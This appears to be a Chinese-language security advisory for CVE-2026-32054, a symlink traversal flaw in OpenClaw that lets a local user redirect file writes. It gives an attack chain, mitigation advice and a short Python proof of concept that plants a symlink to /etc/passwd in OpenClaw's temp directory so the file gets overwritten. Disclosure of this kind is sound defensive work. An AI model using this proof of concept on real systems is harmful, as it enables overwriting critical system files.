IPBUF安全漏洞报告
English
CVE-2026-32054 CVSS 6.5 中危

CVE-2026-32054 OpenClaw符号链接遍历漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-32054
漏洞类型
符号链接遍历
CVSS评分
6.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

符号链接遍历路径遍历OpenClaw任意文件写入本地漏洞

漏洞概述

OpenClaw在2026.2.25之前的版本中存在严重的符号链接遍历漏洞。该漏洞源于软件对浏览器跟踪及下载输出路径的处理机制存在缺陷,未能正确解析符号链接。本地攻击者可利用此漏洞,在临时目录中创建恶意符号链接,将文件写入操作重定向至系统任意位置,从而覆盖关键文件,严重威胁系统的完整性与安全性。

技术细节

该漏洞的核心在于OpenClaw软件在处理浏览器跟踪与下载任务时的路径验证机制存在缺陷。具体而言,软件在创建或写入文件时,未对目标路径进行充分的规范化检查或符号链接解析。攻击者首先需要获取本地低权限账户(PR:L),随后在OpenClaw使用的临时目录中预先创建符号链接。这些链接指向系统关键路径,例如配置文件、二进制可执行文件或其他用户的主目录。当OpenClaw执行正常的文件操作(如保存跟踪日志或下载文件)时,它会解析这些符号链接,从而将本应隔离在临时目录的数据写入到受保护的系统区域。这种“目录逃逸”行为使得本地攻击者能够覆盖任意文件(I:H),潜在地破坏系统完整性、窃取信息(C:L)或导致服务不可用(A:H)。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者获得目标系统的本地低权限用户访问权限(PR:L)。
STEP 2
步骤2:识别临时目录
攻击者确定OpenClaw用于存放浏览器跟踪和下载文件的临时目录路径。
STEP 3
步骤3:创建恶意符号链接
攻击者在临时目录中创建一个符号链接,将其指向系统上的敏感文件或目录(如/etc/passwd)。
STEP 4
步骤4:触发文件写入
等待或诱导OpenClaw执行浏览器跟踪或下载操作,使其尝试向临时目录中的文件写入数据。
STEP 5
步骤5:利用漏洞覆盖文件
由于系统跟随符号链接,OpenClaw将数据写入攻击者指定的目标路径,导致任意文件被覆盖。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-32054: OpenClaw Symlink Traversal # This script demonstrates how a local attacker can exploit the symlink vulnerability. import os import tempfile # Configuration # Assume OpenClaw uses a subdirectory in /tmp for processing temp_dir = tempfile.gettempdir() claw_temp_subdir = os.path.join(temp_dir, "openclaw_temp") malicious_link_name = "exploit_trace.log" target_file = "/etc/passwd" # Sensitive file to overwrite print(f"[*] Creating malicious symlink in {claw_temp_subdir}") # Ensure the directory exists (simulating preparation) if not os.path.exists(claw_temp_subdir): os.makedirs(claw_temp_subdir) link_path = os.path.join(claw_temp_subdir, malicious_link_name) # Create the symlink pointing to the target file try: os.symlink(target_file, link_path) print(f"[+] Symlink created: {link_path} -> {target_file}") except OSError as e: print(f"[-] Error creating symlink: {e}") print("[*] Wait for OpenClaw to process the trace/download...") print("[*] When OpenClaw writes to the temp file, /etc/passwd will be overwritten.")

影响范围

OpenClaw < 2026.2.25

防御指南

临时缓解措施
建议立即将OpenClaw升级至2026.2.25或更高版本以修复此漏洞。若无法立即升级,应限制非管理员用户对OpenClaw临时目录的访问权限,并定期检查系统中是否存在异常的符号链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表